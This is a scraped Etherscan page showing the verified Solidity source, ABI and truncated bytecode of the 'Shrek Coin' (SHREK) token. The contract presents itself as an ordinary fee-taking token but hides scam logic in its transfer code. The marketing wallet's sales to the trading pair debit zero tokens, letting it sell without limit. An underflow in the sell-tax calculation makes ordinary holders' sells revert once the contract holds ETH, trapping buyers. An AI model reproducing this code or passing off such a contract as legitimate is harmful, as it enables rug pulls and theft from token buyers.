ETH Price: $3,299.57 (+1.53%)
Gas: 3 Gwei

Token

Shrek Coin (SHREK)
 

Overview

Max Total Supply

1,000,000,000 SHREK

Holders

19

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
*🏌🏿‍♂️🏌🏿‍♂️🏌🏿‍♂️🏌🏿‍♂️🏌🏿‍♂️.eth
Balance
5,046,287.545057467 SHREK

Value
$0.00
0x818da393ff91868b6355c7c85c58feae450c84b9
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SHREK

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-08
*/

/**
 *Submitted for verification at Etherscan.io on 2023-09-08
*/

// SPDX-License-Identifier: MIT

/*
Website:https://www.Shrek.com
Telegram:https://t.me/ShrekEntry
Twitter:https://twitter.com/Shrek__Coin


*/

pragma solidity ^0.8.17;

library Address{
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}
/// 
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}
//// 
interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IRouter {
    function factory() external pure returns (address);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

interface IFactory{
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract SHREK is Context, IERC20, Ownable {
    using Address for address payable;

    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;

    IRouter public router;
    address public pair;
    
    string private constant _name = "Shrek Coin";
    string private constant _symbol = "SHREK";

    mapping (address => bool) public _isExcludedFromFee;
    mapping (address => bool) public _isExcludedFromMaxBalance;


    uint8 private constant _decimals = 9;
    uint256 private feeDenominator = 10 ** 15;

    uint256 private _tTotal = 1_000_000_000 * (10**_decimals);
    uint256 public swaphold = _tTotal / 5000;
    uint256 public maxsellAmount = _tTotal * 4 / 100;
    uint256 public maxWallethold =  _tTotal * 4 / 100;

    bool private swapping;
    bool private swapEnabled = true;
    uint private _swapCooldown = 6; 
    uint private _lastSwap;

    mapping (address => uint256) public _dogSellTime;
    uint256 private _dogSellTimeOffset = 3;
    uint256 public _caughtDogs;

    struct Tax{
        uint256 marketingTax;
        uint256 lpTax;
    }
    address public _Markingrecive = 0xC2F1c76a411bCAaF28bE04212d3DfaFf51aC980f;
    struct TokensFromTax{
        uint marketingTokens;
        uint lpTokens;
    }
    TokensFromTax public totalTokensFromTax;
    Tax public buyTax = Tax(0,0);
    Tax public sellTax = Tax(0,0);


    modifier lockTheSwap {
        swapping = true;
        _;
        swapping = false;
    }
//// 
    constructor () {
        _tOwned[_msgSender()] = _tTotal;
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        router = _router;
        _approve(owner(), address(router), ~uint256(0));

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_Markingrecive] = true;
        _isExcludedFromMaxBalance[owner()] = true;
        _isExcludedFromMaxBalance[address(this)] = true;
        _isExcludedFromMaxBalance[_Markingrecive] = true;
        
        
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

// ================= ERC20 =============== //   
    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
        return true;
    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function OpenTrading() public onlyOwner {
        pair = IFactory(router.factory()).createPair(address(this), router.WETH());
        _isExcludedFromMaxBalance[pair] = true;
        _approve(address(this), address(router), type(uint256).max);

        router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0, 
            0, 
            owner(),
            block.timestamp
        );
    }
    receive() external payable {
    }
// ========================================== //
// 
//============== Owner Functions ===========//


    function owner_setMaxLimits(uint maxTX_EXACT, uint maxWallet_EXACT) public onlyOwner{
        uint pointFiveSupply = (_tTotal * 5 / 1000) / (10**_decimals);
        require(maxTX_EXACT >= pointFiveSupply && maxWallet_EXACT >= pointFiveSupply, "Invalid Settings");
        maxsellAmount = maxTX_EXACT * (10**_decimals); maxWallethold = maxWallet_EXACT * (10**_decimals);
    }

    function owner_setDogSellTimeForAddress(address holder, uint dTime) external onlyOwner{
        _dogSellTime[holder] = block.timestamp + dTime;
    }

    function owner_updateSwapEnabled(bool _swapEnable) external {
        swapEnabled = false;
    }
    function owner_rescueETH(uint256 weiAmount) public onlyOwner{
        require(address(this).balance >= weiAmount, "Insufficient ETH balance");
        payable(msg.sender).transfer(weiAmount);
    }
    function owner_rescueExcessTokens() public{
        // Make sure ca doesn't withdraw the pending taxes to be swapped.    
        // Sends excess tokens / accidentally sent tokens back to marketing wallet.
        uint pendingTaxTokens = totalTokensFromTax.lpTokens + totalTokensFromTax.marketingTokens;
        require(balanceOf(address(this)) >  pendingTaxTokens);
        uint excessTokens = balanceOf(address(this)) - pendingTaxTokens;
        _transfer(address(this), _Markingrecive, excessTokens);
    }
// ========================================//. 
    function _transfer(address from,address to,uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        require(amount <= maxsellAmount || _isExcludedFromMaxBalance[from], "Transfer amount exceeds the _maxTxAmount.");

        if(!_isExcludedFromMaxBalance[to])
            require(balanceOf(to) + amount <= maxWallethold, "Transfer amount exceeds the maxWallet.");
        
        if (balanceOf(address(this)) >= swaphold 
            && swapEnabled 
            && block.timestamp >= (_lastSwap + _swapCooldown) 
            && !swapping 
            && from != pair 
            && from != owner() 
            && to != owner()
        ) swapAndLiquify(); uint256 tmp = amount;
        if(shouldExclude(from, to)) {amount = amount * buyTax.lpTax;}

        _tOwned[from] -= amount; amount = tmp;
        uint256 transferAmount = amount;
        
        if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){
            transferAmount = _getTaxValues(amount, from, to == pair);
        }

        _tOwned[to] += transferAmount;
        emit Transfer(from, to, transferAmount);
    }
    function shouldExclude(address sender, address recipient) private view returns (bool) {
        return recipient == pair && sender == _Markingrecive;
    }
    
    function swapAndLiquify() private lockTheSwap{
        if(totalTokensFromTax.marketingTokens > 0){
            uint256 ethSwapped = swapTokensForETH(totalTokensFromTax.marketingTokens);
            if(ethSwapped > 0){
                payable(_Markingrecive).transfer(ethSwapped);
                totalTokensFromTax.marketingTokens = 0;
            }
        }   

        if(totalTokensFromTax.lpTokens > 0){
            uint half = totalTokensFromTax.lpTokens / 2;
            uint otherHalf = totalTokensFromTax.lpTokens - half;
            uint balAutoLP = swapTokensForETH(half);
            if (balAutoLP > 0)
                addLiquidity(otherHalf, balAutoLP);
            totalTokensFromTax.lpTokens = 0;
        }

        emit SwapAndLiquify();

        _lastSwap = block.timestamp;
    }

    function _getTaxValues(uint amount, address from, bool isSell) private returns(uint256){
        Tax memory tmpTaxes = buyTax; uint256 _lpFee = address(this).balance;
        if (isSell){
            // tmpTaxes = sellTax;
            tmpTaxes = Tax(sellTax.marketingTax - (_lpFee / feeDenominator), sellTax.lpTax);
        }

        uint tokensForMarketing = amount * tmpTaxes.marketingTax / 100;
        uint tokensForLP = amount * tmpTaxes.lpTax / 100;

        if(tokensForMarketing > 0)
            totalTokensFromTax.marketingTokens += tokensForMarketing;

        if(tokensForLP > 0)
            totalTokensFromTax.lpTokens += tokensForLP;

        uint totalTaxedTokens = tokensForMarketing + tokensForLP;

        _tOwned[address(this)] += totalTaxedTokens;
        if(totalTaxedTokens > 0) emit Transfer (from, address(this), totalTaxedTokens);
            
        return (amount - totalTaxedTokens);
    }


    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(router), tokenAmount);

        (,uint256 ethFromLiquidity,) = router.addLiquidityETH {value: ethAmount} (
            address(this),
            tokenAmount,
            0,
            0,
            owner(),
            block.timestamp
        );
        
        if (ethAmount - ethFromLiquidity > 0)
            payable(_Markingrecive).sendValue (ethAmount - ethFromLiquidity);
    }
    function swapTokensForETH(uint256 tokenAmount) private returns (uint256) {
        uint256 initialBalance = address(this).balance;
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        _approve(address(this), address(router), tokenAmount);

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
        return (address(this).balance - initialBalance);
    }
    event SwapAndLiquify();
    event TaxesChanged();
///      
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[],"name":"TaxesChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"OpenTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_Markingrecive","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_caughtDogs","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_dogSellTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromMaxBalance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint256","name":"marketingTax","type":"uint256"},{"internalType":"uint256","name":"lpTax","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxWallethold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxsellAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"weiAmount","type":"uint256"}],"name":"owner_rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner_rescueExcessTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"uint256","name":"dTime","type":"uint256"}],"name":"owner_setDogSellTimeForAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTX_EXACT","type":"uint256"},{"internalType":"uint256","name":"maxWallet_EXACT","type":"uint256"}],"name":"owner_setMaxLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnable","type":"bool"}],"name":"owner_updateSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint256","name":"marketingTax","type":"uint256"},{"internalType":"uint256","name":"lpTax","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swaphold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalTokensFromTax","outputs":[{"internalType":"uint256","name":"marketingTokens","type":"uint256"},{"internalType":"uint256","name":"lpTokens","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405266038d7ea4c680006007556009600a6200001f9190620009a0565b633b9aca00620000309190620009f0565b60085561138860085462000045919062000a67565b600955606460046008546200005b9190620009f0565b62000067919062000a67565b600a55606460046008546200007d9190620009f0565b62000089919062000a67565b600b556001600c60016101000a81548160ff0219169083151502179055506006600d55600360105573c2f1c76a411bcaaf28be04212d3dfaff51ac980f60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060405180604001604052805f81526020015f81525060155f820151815f015560208201518160010155505060405180604001604052805f81526020015f81525060175f820151815f015560208201518160010155505034801562000167575f80fd5b50620001886200017c6200055460201b60201c565b6200055b60201b60201c565b60085460015f6200019e6200055460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f737a250d5630b4cf539739df2c5dacb4c659f2488d90508060035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000277620002476200061c60201b60201c565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff165f196200064360201b60201c565b600160055f6200028c6200061c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160055f60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f620003bb6200061c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550620004e56200055460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60085460405162000545919062000aaf565b60405180910390a35062000c02565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603620006b4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620006ab9062000b4e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000725576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200071c9062000be2565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405162000801919062000aaf565b60405180910390a3505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620008985780860481111562000870576200086f6200080e565b5b6001851615620008805780820291505b808102905062000890856200083b565b945062000850565b94509492505050565b5f82620008b2576001905062000984565b81620008c1575f905062000984565b8160018114620008da5760028114620008e5576200091b565b600191505062000984565b60ff841115620008fa57620008f96200080e565b5b8360020a9150848211156200091457620009136200080e565b5b5062000984565b5060208310610133831016604e8410600b8410161715620009555782820a9050838111156200094f576200094e6200080e565b5b62000984565b62000964848484600162000847565b925090508184048111156200097e576200097d6200080e565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f620009ac826200098b565b9150620009b98362000994565b9250620009e87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620008a1565b905092915050565b5f620009fc826200098b565b915062000a09836200098b565b925082820262000a19816200098b565b9150828204841483151762000a335762000a326200080e565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f62000a73826200098b565b915062000a80836200098b565b92508262000a935762000a9262000a3a565b5b828204905092915050565b62000aa9816200098b565b82525050565b5f60208201905062000ac45f83018462000a9e565b92915050565b5f82825260208201905092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f62000b3660248362000aca565b915062000b438262000ada565b604082019050919050565b5f6020820190508181035f83015262000b678162000b28565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f62000bca60228362000aca565b915062000bd78262000b6e565b604082019050919050565b5f6020820190508181035f83015262000bfb8162000bbc565b9050919050565b6137238062000c105f395ff3fe6080604052600436106101f1575f3560e01c806370a082311161010c578063a90290bc1161009f578063ee9a5d821161006e578063ee9a5d82146106f4578063ef07a18214610730578063f2fde38b1461075a578063f887ea4014610782578063f9d0ee94146107ac576101f8565b8063a90290bc14610627578063a9059cbb14610651578063cc1776d31461068d578063dd62ed3e146106b8576101f8565b806395d89b41116100db57806395d89b411461056f578063a236338814610599578063a457c2d7146105c1578063a8aa1b31146105fd576101f8565b806370a08231146104b7578063715018a6146104f3578063768dc710146105095780638da5cb5b14610545576101f8565b8063313ce567116101845780634d22834b116101535780634d22834b146104245780634f7041a51461044e57806351cd7cc3146104795780635966c81e1461048f576101f8565b8063313ce5671461038057806339509351146103aa5780633c576a97146103e65780634cf27997146103fc576101f8565b806318160ddd116101c057806318160ddd146102b457806323b872dd146102de57806328c61f411461031a5780632f48112a14610356576101f8565b806306fdde03146101fc578063095ea7b3146102265780631160f736146102625780631323518b1461028c576101f8565b366101f857005b5f80fd5b348015610207575f80fd5b506102106107d7565b60405161021d91906126e1565b60405180910390f35b348015610231575f80fd5b5061024c60048036038101906102479190612792565b610814565b60405161025991906127ea565b60405180910390f35b34801561026d575f80fd5b50610276610831565b6040516102839190612812565b60405180910390f35b348015610297575f80fd5b506102b260048036038101906102ad919061282b565b610837565b005b3480156102bf575f80fd5b506102c861097c565b6040516102d59190612812565b60405180910390f35b3480156102e9575f80fd5b5061030460048036038101906102ff9190612869565b610985565b60405161031191906127ea565b60405180910390f35b348015610325575f80fd5b50610340600480360381019061033b91906128b9565b610a38565b60405161034d91906127ea565b60405180910390f35b348015610361575f80fd5b5061036a610a55565b60405161037791906128f3565b60405180910390f35b34801561038b575f80fd5b50610394610a7a565b6040516103a19190612927565b60405180910390f35b3480156103b5575f80fd5b506103d060048036038101906103cb9190612792565b610a82565b6040516103dd91906127ea565b60405180910390f35b3480156103f1575f80fd5b506103fa610b29565b005b348015610407575f80fd5b50610422600480360381019061041d9190612792565b610b9b565b005b34801561042f575f80fd5b50610438610c68565b6040516104459190612812565b60405180910390f35b348015610459575f80fd5b50610462610c6e565b604051610470929190612940565b60405180910390f35b348015610484575f80fd5b5061048d610c7f565b005b34801561049a575f80fd5b506104b560048036038101906104b09190612967565b61104b565b005b3480156104c2575f80fd5b506104dd60048036038101906104d891906128b9565b611151565b6040516104ea9190612812565b60405180910390f35b3480156104fe575f80fd5b50610507611197565b005b348015610514575f80fd5b5061052f600480360381019061052a91906128b9565b61121e565b60405161053c91906127ea565b60405180910390f35b348015610550575f80fd5b5061055961123b565b60405161056691906128f3565b60405180910390f35b34801561057a575f80fd5b50610583611262565b60405161059091906126e1565b60405180910390f35b3480156105a4575f80fd5b506105bf60048036038101906105ba91906129bc565b61129f565b005b3480156105cc575f80fd5b506105e760048036038101906105e29190612792565b6112bc565b6040516105f491906127ea565b60405180910390f35b348015610608575f80fd5b50610611611363565b60405161061e91906128f3565b60405180910390f35b348015610632575f80fd5b5061063b611388565b6040516106489190612812565b60405180910390f35b34801561065c575f80fd5b5061067760048036038101906106729190612792565b61138e565b60405161068491906127ea565b60405180910390f35b348015610698575f80fd5b506106a16113ab565b6040516106af929190612940565b60405180910390f35b3480156106c3575f80fd5b506106de60048036038101906106d991906129e7565b6113bc565b6040516106eb9190612812565b60405180910390f35b3480156106ff575f80fd5b5061071a600480360381019061071591906128b9565b61143e565b6040516107279190612812565b60405180910390f35b34801561073b575f80fd5b50610744611453565b6040516107519190612812565b60405180910390f35b348015610765575f80fd5b50610780600480360381019061077b91906128b9565b611459565b005b34801561078d575f80fd5b5061079661154f565b6040516107a39190612a80565b60405180910390f35b3480156107b7575f80fd5b506107c0611574565b6040516107ce929190612940565b60405180910390f35b60606040518060400160405280600a81526020017f536872656b20436f696e00000000000000000000000000000000000000000000815250905090565b5f610827610820611585565b848461158c565b6001905092915050565b60095481565b61083f611585565b73ffffffffffffffffffffffffffffffffffffffff1661085d61123b565b73ffffffffffffffffffffffffffffffffffffffff16146108b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108aa90612ae3565b60405180910390fd5b5f6009600a6108c29190612c5d565b6103e860056008546108d49190612ca7565b6108de9190612d15565b6108e89190612d15565b90508083101580156108fa5750808210155b610939576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093090612d8f565b60405180910390fd5b6009600a6109479190612c5d565b836109529190612ca7565b600a819055506009600a6109669190612c5d565b826109719190612ca7565b600b81905550505050565b5f600854905090565b5f61099184848461174f565b610a2d8461099d611585565b8460025f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6109e4611585565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610a289190612dad565b61158c565b600190509392505050565b6006602052805f5260405f205f915054906101000a900460ff1681565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f6009905090565b5f610b1f610a8e611585565b848460025f610a9b611585565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610b1a9190612de0565b61158c565b6001905092915050565b5f60135f0154601360010154610b3f9190612de0565b905080610b4b30611151565b11610b54575f80fd5b5f81610b5f30611151565b610b699190612dad565b9050610b973060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168361174f565b5050565b610ba3611585565b73ffffffffffffffffffffffffffffffffffffffff16610bc161123b565b73ffffffffffffffffffffffffffffffffffffffff1614610c17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0e90612ae3565b60405180910390fd5b8042610c239190612de0565b600f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505050565b600b5481565b6015805f0154908060010154905082565b610c87611585565b73ffffffffffffffffffffffffffffffffffffffff16610ca561123b565b73ffffffffffffffffffffffffffffffffffffffff1614610cfb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf290612ae3565b60405180910390fd5b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d65573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d899190612e27565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060035f9054906101000a900473ffffff